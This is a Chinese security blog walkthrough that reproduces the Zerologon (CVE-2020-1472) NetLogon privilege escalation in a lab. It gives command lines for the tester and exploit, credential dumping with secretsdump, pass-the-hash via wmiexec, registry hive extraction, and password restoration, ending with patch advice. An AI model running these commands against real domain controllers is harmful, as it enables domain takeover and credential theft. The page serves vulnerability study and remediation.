漏洞描述:

2020年08月12日, 微软官方发布了 NetLogon 特权提升漏洞 的风险通告。攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。

漏洞级别:严重

漏洞编号:CVE-2020-1472

漏洞复现:



准备工具:
Impacket工具包:https://github.com/SecureAuthCorp/impacket.git
poc:https://github.com/SecuraBV/CVE-2020-1472.git
exp:https://github.com/dirkjanm/CVE-2020-1472
exp:https://github.com/risksense/zerologon



1、查看域控的主机名



CVE-2020-1472: NetLogon特权提升漏洞(附exp复现)_python


2、poc检测

poc:https://github.com/SecuraBV/CVE-2020-1472.git


python3 zerologon_tester.py TEST-AD 10.1.1.24




CVE-2020-1472: NetLogon特权提升漏洞(附exp复现)_python_02


 返回Success,说明漏洞存在。

3、exp漏洞利用,将域账号进行重置。

exp:https://github.com/blackarrowsec/redteam-research



CVE-2020-1472: NetLogon特权提升漏洞(附exp复现)_python_03


 4、导出域内所有用户的凭证


secretsdump.py 'test.com/TEST-AD$@10.1.1.24' -no-pass




CVE-2020-1472: NetLogon特权提升漏洞(附exp复现)_区块链_04


  此时,TEST-AD$ hash已被替换为空。


TEST-AD$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


  



CVE-2020-1472: NetLogon特权提升漏洞(附exp复现)_python_05


 得到了域控的hash


Administrator:500:aad3b435b51404eeaad3b435b51404ee:44f077e27f6fef69e7bd834c7242b040:::


 5、使用administrator的hash横向连接


wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:44f077e27f6fef69e7bd834c7242b040 TEST-AD$/Administrator@10.1.1.24




CVE-2020-1472: NetLogon特权提升漏洞(附exp复现)_github_06


  6、获取计算机账号原始hash


reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save




CVE-2020-1472: NetLogon特权提升漏洞(附exp复现)_区块链_07


secretsdump.py -sam sam.save -system system.save -security security.save LOCAL




CVE-2020-1472: NetLogon特权提升漏洞(附exp复现)_安全_08


7、将该原始计算机帐户哈希还原

github地址:https://github.com/risksense/zerologon


python3 ./reinstall_original_pw.py TEST-AD 10.1.1.24 9b54a25e20fa4f8c7667edf62a03e2bd




CVE-2020-1472: NetLogon特权提升漏洞(附exp复现)_区块链_09


8、查看TEST-AD$账号的hash,已成功还原


secretsdump.py 'test.com/bypass:abc123!@10.1.1.24' -just-dc-user 'TEST-AD$'




CVE-2020-1472: NetLogon特权提升漏洞(附exp复现)_github_10


修复建议:

微软官方已发布补丁,找到操作系统版本的漏洞补丁,并进行补丁下载安装。

https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-1472